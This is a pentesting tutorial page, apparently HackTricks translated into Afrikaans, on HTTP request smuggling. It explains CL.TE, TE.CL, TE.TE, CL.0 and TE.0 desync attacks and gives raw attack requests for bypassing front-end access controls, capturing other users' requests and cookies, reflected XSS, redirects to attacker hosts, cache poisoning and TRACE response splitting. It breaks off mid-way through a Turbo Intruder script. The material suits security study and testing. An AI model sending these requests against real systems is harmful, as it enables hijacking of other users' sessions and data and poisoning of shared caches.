hacktricks/pentesting-web/http-request-smuggling

HTTP Request Smuggling / HTTP Desync Attack

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

{% endhint %}

Wat is

Hierdie kwesbaarheid gebeur wanneer 'n desynkronisasie tussen front-end proxies en die back-end bediener 'n aanvaller toelaat om 'n HTTP versoek te stuur wat as 'n enkele versoek deur die front-end proxies (laai balanseer / omgekeerde proxy) en as 2 versoeke deur die back-end bediener geïterpreteer sal word.
Dit laat 'n gebruiker toe om die volgende versoek wat by die back-end bediener aankom na syne te wysig.

Teorie

RFC Spesifikasie (2161)

As 'n boodskap ontvang word met beide 'n Transfer-Encoding kopveld en 'n Content-Length kopveld, moet laasgenoemde geïgnoreer word.

Content-Length

Die Content-Length entiteit kopveld dui die grootte van die entiteit-liggaam, in bytes, wat na die ontvanger gestuur word, aan.

Transfer-Encoding: chunked

Die Transfer-Encoding kopveld spesifiseer die vorm van kodering wat gebruik word om die payload liggaam veilig na die gebruiker oor te dra.
Chunked beteken dat groot data in 'n reeks stukke gestuur word.

Realiteit

Die Front-End (n laai-balanseer / Omgekeerde Proxy) verwerk die content-length of die transfer-encoding kopveld en die Back-end bediener verwerk die ander een wat 'n desynkronisasie tussen die 2 stelsels veroorsaak.
Dit kan baie krities wees aangesien 'n aanvaller in staat sal wees om een versoek na die omgekeerde proxy te stuur wat deur die back-end bediener as 2 verskillende versoeke geïterpreteer sal word. Die gevaar van hierdie tegniek lê in die feit dat die back-end bediener die 2de versoek wat ingesluit is sal interpreteer asof dit van die volgende kliënt gekom het en die werklike versoek van daardie kliënt sal deel wees van die ingeslote versoek.

Besonderhede

Onthou dat in HTTP 'n nuwe lyn karakter bestaan uit 2 bytes:

• Content-Length: Hierdie kopveld gebruik 'n desimale getal om die aantal van die bytes van die liggaam van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, 'n nuwe lyn is nie nodig aan die einde van die versoek.
• Transfer-Encoding: Hierdie kopveld gebruik in die liggaam 'n heksadesimale getal om die aantal van die bytes van die volgende stuk aan te dui. Die stuk moet eindig met 'n nuwe lyn maar hierdie nuwe lyn word nie getel deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n stuk van grootte 0 gevolg deur 2 nuwe lyne: 0
• Connection: Gebaseer op my ervaring word dit aanbeveel om Connection: keep-alive op die eerste versoek van die versoek Smuggling te gebruik.

Basiese Voorbeelde

{% hint style="success" %} Wanneer jy probeer om dit met Burp Suite te benut, deaktiveer Update Content-Length en Normalize HTTP/1 line endings in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik. {% endhint %}

HTTP versoek smuggling aanvalle word geskep deur ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die Content-Length (CL) en Transfer-Encoding (TE) kopvelde interpreteer, benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as CL.TE, TE.CL, en TE.TE. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteer. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.

Basiese Voorbeelde van Kwesbaarheidstipes

{% hint style="info" %} By die vorige tabel moet jy die TE.0 tegniek voeg, soos CL.0 tegniek maar met Transfer Encoding. {% endhint %}

CL.TE Kwesbaarheid (Content-Length gebruik deur Front-End, Transfer-Encoding gebruik deur Back-End)

• Front-End (CL): Verwerk die versoek gebaseer op die Content-Length kopveld.
• Back-End (TE): Verwerk die versoek gebaseer op die Transfer-Encoding kopveld.
• Aanval Scenario:
• Die aanvaller stuur 'n versoek waar die waarde van die Content-Length kopveld nie ooreenstem met die werklike inhoud lengte nie.
• Die front-end bediener stuur die hele versoek na die back-end, gebaseer op die Content-Length waarde.
• Die back-end bediener verwerk die versoek as chunked weens die Transfer-Encoding: chunked kopveld, wat die oorblywende data as 'n aparte, daaropvolgende versoek interpreteer.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Kwesbaarheid (Transfer-Encoding gebruik deur Front-End, Content-Length gebruik deur Back-End)

• Front-End (TE): Verwerk die versoek gebaseer op die Transfer-Encoding kopveld.
• Back-End (CL): Verwerk die versoek gebaseer op die Content-Length kopveld.
• Aanval Scenario:
• Die aanvaller stuur 'n chunked versoek waar die stuk grootte (7b) en werklike inhoud lengte (Content-Length: 4) nie ooreenstem nie.
• Die front-end bediener, wat Transfer-Encoding eerbiedig, stuur die hele versoek na die back-end.
• Die back-end bediener, wat Content-Length respekteer, verwerk slegs die aanvanklike deel van die versoek (7b bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskerings)

• Bedieners: Beide ondersteun Transfer-Encoding, maar een kan mislei word om dit te ignoreer via obfuskering.
• Aanval Scenario:
• Die aanvaller stuur 'n versoek met obfuscated Transfer-Encoding kopvelde.
• Afhangende van watter bediener (front-end of back-end) nie die obfuskering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid benut word.
• Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smuggling.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length gebruik deur beide Front-End en Back-End)

• Beide bedieners verwerk die versoek gebaseer slegs op die Content-Length kopveld.
• Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar 'n ooreenstemming is in hoe beide bedieners die versoek lengte interpreteer.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normale Versoek

CL.0 Scenario

• Verwys na scenario's waar die Content-Length kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die Content-Length kopveld (wat as 0 behandel word), maar die front-end parse dit.
• Dit is belangrik om te verstaan en smuggling aanvalle te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Nie-lege Liggaam

TE.0 Scenario

• Soos die vorige een maar met TE
• Tegniek gerapporteer hier
• Voorbeeld:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Breek die webbediener

Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n webbediener te breek terwyl die aanvanklike HTTP-data gelees word maar sonder om die verbinding te sluit. Op hierdie manier sal die liggaam van die HTTP-versoek as die volgende HTTP-versoek beskou word.

Byvoorbeeld, soos verduidelik in hierdie skrywe, was dit in Werkzeug moontlik om 'n paar Unicode karakters te stuur en dit sal die bediener breek. As die HTTP-verbinding egter met die kop Connection: keep-alive geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, so die liggaam van die versoek sal as die volgende HTTP-versoek hanteer word.

Dwing via hop-by-hop koppe

Deur hop-by-hop koppe te misbruik, kan jy die proxy aandui om die kop Content-Length of Transfer-Encoding te verwyder sodat 'n HTTP-versoek smuggling misbruik kan word.

Connection: Content-Length

For meer inligting oor hop-by-hop headers besoek:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Vind HTTP Request Smuggling

Die identifisering van HTTP request smuggling kwesbaarhede kan dikwels bereik word deur tydtegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede te ontdek. Benewens hierdie metodes, is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:

Vind CL.TE Kwesbaarhede Met Tydtegnieke

• Metode:
• Stuur 'n versoek wat, indien die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Waarneming:
• Die voorgrondbediener verwerk die versoek gebaseer op Content-Length en sny die boodskap voortydig af.
• Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
• Aanduiders:
• Timeouts of lang vertraging in reaksie.
• Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bediener-inligting.

Vind TE.CL Kwesbaarhede Met Tydtegnieke

• Metode:
• Stuur 'n versoek wat, indien die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Waarneming:
• Die voorgrondbediener verwerk die versoek gebaseer op Transfer-Encoding en stuur die hele boodskap voort.
• Die agtergrondbediener, wat 'n boodskap gebaseer op Content-Length verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.

Ander Metodes om Kwesbaarhede te Vind

• Differensiële Responsanalise:
• Stuur effens verskillende weergawes van 'n versoek en kyk of die bediener se reaksies op 'n onverwagte manier verskil, wat 'n parsingsverskil aandui.
• Gebruik van Geoutomatiseerde Gereedskap:
• Gereedskap soos Burp Suite se 'HTTP Request Smuggler' uitbreiding kan outomaties toets vir hierdie kwesbaarhede deur verskillende vorme van ambigue versoeke te stuur en die reaksies te analiseer.
• Content-Length Variansie Toetse:
• Stuur versoeke met verskillende Content-Length waardes wat nie ooreenstem met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanbalanse hanteer.
• Transfer-Encoding Variansie Toetse:
• Stuur versoeke met obfuskeerde of misvormde Transfer-Encoding headers en monitor hoe verskillend die voorgrond- en agtergrondbedieners op sulke manipulasies reageer.

HTTP Request Smuggling Kwesbaarheidstoetsing

Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na / te maak wat 'n 404 reaksie oplewer. Die CL.TE en TE.CL voorbeelde wat voorheen bespreek is in Basiese Voorbeelde demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om toegang tot 'n ander hulpbron te verkry.

Belangrike Oorwegings

Wanneer jy toets vir request smuggling kwesbaarhede deur ander versoeke te beïnvloed, hou in gedagte:

• Verskillende Netwerkverbindinge: Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
• Konstante URL en Parameters: Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
• Tyd en Wedrenstoestande: Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te detecteer, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
• Laai Balansuitdagings: Voorgrondbedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai-balans aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
• Onbedoelde Gebruikerimpak: As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir detectie nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Voortdurende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.

Misbruik van HTTP Request Smuggling

Om voorgrondsekuriteit te omseil via HTTP Request Smuggling

Soms handhaaf voorgrondproxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot /admin mag ekstern verbied wees, met die voorgrondproxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n leemte laat om hierdie beperkings te omseil.

Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om voorgrondsekuriteitsbeheer te omseil, spesifiek teiken die /admin pad wat tipies deur die voorgrondproxy beskerm word:

CL.TE Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In die CL.TE-aanval word die Content-Length kop vir die aanvanklike versoek benut, terwyl die daaropvolgende ingebedde versoek die Transfer-Encoding: chunked kop gebruik. Die front-end proxy verwerk die aanvanklike POST versoek, maar slaag nie daarin om die ingebedde GET /admin versoek te inspekteer nie, wat ongeoorloofde toegang tot die /admin pad toelaat.

TE.CL Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Conversely, in the TE.CL-aanval, die aanvanklike POST versoek gebruik Transfer-Encoding: chunked, en die daaropvolgende ingebedde versoek word verwerk op grond van die Content-Length kop. Soos in die CL.TE-aanval, oorsien die front-end proxy die gesmokkelde GET /admin versoek, wat per ongeluk toegang tot die beperkte /admin pad verleen.

Onthulling van front-end versoek herskrywing

Toepassings gebruik dikwels 'n front-end bediener om inkomende versoeke te wysig voordat dit aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos X-Forwarded-For: <IP van die kliënt>, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan van kardinale belang wees, aangesien dit maniere kan onthul om beskermings te omseil of verborgene inligting of eindpunte te ontdek.

Om te ondersoek hoe 'n proxy 'n versoek verander, vind 'n POST parameter wat die agterkant in die antwoord weergee. Skep dan 'n versoek, met hierdie parameter laaste, soortgelyk aan die volgende:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na search=, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel.

Dit is belangrik om die Content-Length koptekst van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsnip, terwyl 'n te hoë waarde die versoek kan laat misluk.

Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met search=\r\n0. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.

Hierdie metode dien hoofsaaklik om die versoekwysigings wat deur die voorpunt-proxy gemaak is, te verstaan, en voer in wese 'n selfgerigte ondersoek uit.

Capturing other users' requests

Dit is haalbaar om die versoeke van die volgende gebruiker te vang deur 'n spesifieke versoek as die waarde van 'n parameter tydens 'n POST-operasie by te voeg. Hier is hoe dit gedoen kan word:

Deur die volgende versoek as die waarde van 'n parameter by te voeg, kan jy die daaropvolgende kliënt se versoek stoor:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In hierdie scenario is die comment parameter bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.

Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameter-afskeid wat in die gesmugde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeid die & karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste & sal stop, wat selfs deel van die vrae string kan wees.

Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met search=\r\n0. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.

Gebruik van HTTP versoek gesmugding om weerspieëlde XSS te ontgin

HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir Weerspieëlde XSS te ontgin, wat beduidende voordele bied:

• Interaksie met die teiken gebruikers is nie nodig nie.
• Dit stel die ontginning van XSS in dele van die versoek wat normaalweg ontoeganklik is, soos HTTP versoek koptekste, moontlik.

In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te ontgin:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Hierdie payload is gestruktureer om die kwesbaarheid te benut deur:

1. 'n POST versoek te begin, blykbaar tipies, met 'n Transfer-Encoding: chunked kop om die begin van smuggling aan te dui.
2. Volg met 'n 0, wat die einde van die chunked boodskapliggaam aandui.
3. Dan word 'n gesmugde GET versoek bekendgestel, waar die User-Agent kop met 'n skrip, <script>alert(1)</script>, ingespuit word, wat die XSS aktiveer wanneer die bediener hierdie daaropvolgende versoek verwerk.

Deur die User-Agent deur smuggling te manipuleer, omseil die payload normale versoekbeperkings, en benut dus die Reflected XSS kwesbaarheid op 'n nie-standaard maar effektiewe manier.

HTTP/0.9

{% hint style="danger" %} In die geval dat die gebruikersinhoud in 'n antwoord met 'n Content-type soos text/plain weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener HTTP/0.9 ondersteun, mag dit moontlik wees om dit te omseil! {% endhint %}

Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs GET werkwoorde en antwoord nie met koppe nie, net die liggaam.

In hierdie skrywe, is dit misbruik met 'n versoek smuggling en 'n kwesbare eindpunt wat met die invoer van die gebruiker sal antwoordgee om 'n versoek met HTTP/0.9 te smuggle. Die parameter wat in die antwoord weerspieël sal word, het 'n valse HTTP/1.1 antwoord (met koppe en liggaam) bevat sodat die antwoord geldige uitvoerbare JS-kode met 'n Content-Type van text/html sal bevat.

Exploiting On-site Redirects with HTTP Request Smuggling

Toepassings lei dikwels van een URL na 'n ander deur die hostname van die Host kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif aan te vra, lei tot 'n omleiding om die schuif in te sluit:

GET /home HTTP/1.1
Host: normal-website.com

Resultate in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Hoewel dit op die oog af onskadelik lyk, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hierdie gesmugde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgerig word:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultate in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromitteer deur kwaadwillige JavaScript in antwoord te dien.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning kan uitgevoer word as enige komponent van die front-end infrastruktuur inhoud kas om prestasie te verbeter. Deur die bediener se antwoord te manipuleer, is dit moontlik om die cache te vergiftig.

Voorheen het ons gesien hoe bediener-antwoorde verander kan word om 'n 404-fout te retourneer (verwys na Basic Examples). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om /index.html-inhoud te lewer in antwoord op 'n versoek vir /static/include.js. Gevolglik word die inhoud van /static/include.js in die kas vervang met dié van /index.html, wat /static/include.js ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).

Hierdie tegniek word veral kragtig as 'n Open Redirect-kwesbaarheid ontdek word of as daar 'n op-site omleiding na 'n oop omleiding is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van /static/include.js te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde /static/include.js versoek, moontlik maak.

Hieronder is 'n illustrasie van die benutting van cache poisoning gekombineer met 'n op-site omleiding na oop omleiding. Die doel is om die kasinhoud van /static/include.js te verander om JavaScript-kode te dien wat deur die aanvaller beheer word:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Let wel die ingebedde versoek wat op /post/next?postId=3 teiken. Hierdie versoek sal herlei word na /post?postId=4, wat die Host header waarde gebruik om die domein te bepaal. Deur die Host header te verander, kan die aanvaller die versoek na hul domein herlei (on-site redirect to open redirect).

Na suksesvolle socket poisoning, moet 'n GET request vir /static/include.js geïnisieer word. Hierdie versoek sal besmet wees deur die vorige on-site redirect to open redirect versoek en die inhoud van die skrip wat deur die aanvaller beheer word, opvra.

Daarna sal enige versoek vir /static/include.js die gekapte inhoud van die aanvaller se skrip dien, wat effektief 'n breë XSS-aanval ontketen.

Gebruik HTTP request smuggling om web cache misleiding uit te voer

Wat is die verskil tussen web cache poisoning en web cache misleiding?

• In web cache poisoning veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
• In web cache deception veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.

Die aanvaller vervaardig 'n gesmokkelde versoek wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

As hierdie gesmokkelde versoek 'n kasinskrywing vir statiese inhoud (bv. /someimage.png) besoedel, mag die slagoffer se sensitiewe data van /private/messages onder die kasinskrywing van die statiese inhoud gebuffer wees. Gevolglik kan die aanvaller moontlik hierdie gebufferde sensitiewe data terugkry.

Misbruik van TRACE via HTTP Request Smuggling

In hierdie pos word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik kan wees om dit te misbruik met 'n HTTP Request Smuggling. Dit is omdat hierdie metode enige kop wat na die bediener gestuur word, as deel van die liggaam van die antwoord sal reflekteer. Byvoorbeeld:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Sal 'n antwoord stuur soos:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om eers 'n HEAD-versoek te smuggle. Hierdie versoek sal geantwoord word met slegs die koppe van 'n GET-versoek (Content-Type onder hulle). En smuggle dadelik na die HEAD 'n TRACE-versoek, wat die gestuurde data sal reflekteer.
Aangesien die HEAD-antwoord 'n Content-Length-kop sal bevat, sal die antwoord van die TRACE-versoek as die liggaam van die HEAD-antwoord behandel word, wat dus arbitrêre data in die antwoord reflekteer.
Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan gebruik word in 'n gebufferde JS-lêer om byvoorbeeld arbitrêre JS-kode in te voeg.

Misbruik van TRACE via HTTP Response Splitting

Dit word aanbeveel om hierdie pos te volg, wat 'n ander manier voorstel om die TRACE-metode te misbruik. Soos opgemerk, is dit moontlik om 'n HEAD-versoek en 'n TRACE-versoek te smuggle om sommige reflekteerde data in die antwoord op die HEAD-versoek te beheer. Die lengte van die liggaam van die HEAD-versoek word basies in die Content-Length-kop aangedui en word gevorm deur die antwoord op die TRACE-versoek.

Daarom sou die nuwe idee wees dat, met kennis van hierdie Content-Length en die data gegee in die TRACE-antwoord, dit moontlik is om die TRACE-antwoord 'n geldige HTTP-antwoord te laat bevat na die laaste byte van die Content-Length, wat 'n aanvaller in staat stel om die versoek na die volgende antwoord heeltemal te beheer (wat gebruik kan word om 'n cache poisoning uit te voer).

Voorbeeld:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Sal hierdie antwoorde genereer (let op hoe die HEAD-antwoord 'n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-antwoord gesmuggle):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Wapen van HTTP Versoek Smuggling met HTTP Antwoord Desynchronisasie

Het jy 'n HTTP Versoek Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te benut nie. Probeer hierdie ander metode van benutting:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Ander HTTP Versoek Smuggling Tegnieke

• Blaaier HTTP Versoek Smuggling (Kliëntkant)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

• Versoek Smuggling in HTTP/2 Downgrades

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Turbo indringer skripte

CL.TE

Van https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
